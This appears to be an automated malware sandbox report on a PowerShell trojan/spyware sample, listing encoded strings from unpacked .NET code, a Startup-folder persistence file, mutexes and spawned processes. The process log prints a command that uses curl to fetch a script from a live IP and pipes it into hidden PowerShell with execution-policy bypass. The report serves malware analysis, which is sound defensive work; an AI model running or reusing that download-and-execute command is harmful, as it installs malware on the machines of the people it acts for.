Vh52/p6qtnZ6lgJ2QpNuso7Kk0/3zsL62ic7qjb2zttzvs5OGjqmDuI/tj5Gzv5iYq76zupSUhs/x6538i5mtnOrr9vzo5dSa/oyw2Kyg0uf93ojj/p739/SP6/f+w7H01eXHjP7p5fr31M/jwef628vjyMX1+6nIy9japbLS+99rTiZhCR0NNC0GTVsnUDMyNng1KjolPAQHck1UTHJ3e3c3HwopBhIYXBsZAwAPOB4sS2MTD2pMQxgNNxYtMGEualhOVWVDZn1Xbl5TSBt0fn5Zb1AFZQtqbktsF3J4dn5xNn0OYV1XRXoMeUBraWAkNzQyEio+EycacGN7RXBjTumho5+koqWzt/2+j6q3+p61jJKSnbW3p4+ajZSQkp2Siqa+noCLjrTaiIS2lez5vZyl5ISf1tKpvZnaisiI4pTi3/X4mry8tJO9vIKHxOLVxuDOqYOD7Ob20efYhd/93Inz0fjp4LTwkszJ4vTErZD86tPk8/H47IL+/sDjzYrBWismL1J/HRUiPXBZExIHLyMbelUyCwtjIig9TxgeQkYiAiFKFBM9B0RlGSwoZhstJB8aaw0vWwlbaVhidwg8LXITTU8TR0VSb0JAU2kEF1BIBhs/ZlpnS08HUXZIF0xuRUtuRntCIkJSdnhdW3ZlSW9lfndTFAwtLU8faUtBckmPjpuPgKLn/dm/lay7qZ2trI6gs6bf/7qPltPCmci8t+mZj6CVwPGz/pn6gPGQ6IKlvr63t6uWgYmljt3s//HJidqZ5+Dug+n+6ari5JrC38rS/rbG7PnLvfuE3MjgiOTGxdnLzLLq9/Lqxobgzu32zeXhw8vVwcjfx72r16DDuS0MGDwRFhUCNy40TFw9PyBwNSgMdg5YNTMaEWEHDzQrWnAYBzkrZwM6FwI8WAkJJV8RHnxCPgoDBx4lOCQUWj8AMBsIIRV0THdZZmlSImNjeV8GQhNcDWpBYElOSUlTRg1Na29HQU4xXS5vUkJtQkZ+JWM0fSZEUD9FYkk6QkVdoZOzuZPxuY+Q6aWulJ+N2MfQgKKuh8uh3eOJ+/GBtrKv+5KJ74SGi/6YhomywoWatJTdub2Vl5fmj67nmpGIqtLw5+nI4NngjNb7wPPFxYT0+5H/jo369cry3eXr/8KpgN/909n8zL7gydPJ9M791NDdrLmd+Nq4/tvznvzNxa8OQTMLMjQNOAwxKBUwSFUSOiUYPSt6KxkjMUA7GRAaBiAMOz4VHzF+ZklHZ1Y+TkJ8CTsnAnkFMCAlEhYxBR0RYGludQ4sd0VrSiNsaGpDUm1JB1cDXXhNLjleTlF9WkYpP2p5enxgRHJ8SWgJOntNeV1wcgBAMH5PJ3JjeCc3cdCer5fO/52OqK/dvqzXuJeltY2Kv5zNsKHLk6qQoLulrZjO74yEsLyDoICMn5qmpuWVpsn3h7+vsbGJi+GSkea2vKSopbGwjtP
Source: 5.2.powershell.exe.1c572920000.12.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 5.2.powershell.exe.1c501c98be0.2.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 5.2.powershell.exe.1c501b36680.4.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: 5.2.powershell.exe.1c5004892b0.7.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: ivm1acbc.dll.7.dr, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winPS1@24/18@0/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\pQc9ASpMSwu/DIOIZksnm5Zzf7HaFx1ACQUSZzYHZtLWw9ZxfJ1N9Dl0WlZGb9oDHdY3gXfrGLntxj/HYKOhfalAI9XMkSZJM04oNRn4neQ=
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hukhe1bd.32s.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.bat"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES91A5.tmp" "c:\Users\user\AppData\Local\Temp\ivm1acbc\CSC3984141EEAB441BDB4B78998253F3D3.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES91A5.tmp" "c:\Users\user\AppData\Local\Temp\ivm1acbc\CSC3984141EEAB441BDB4B78998253F3D3.TMP"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
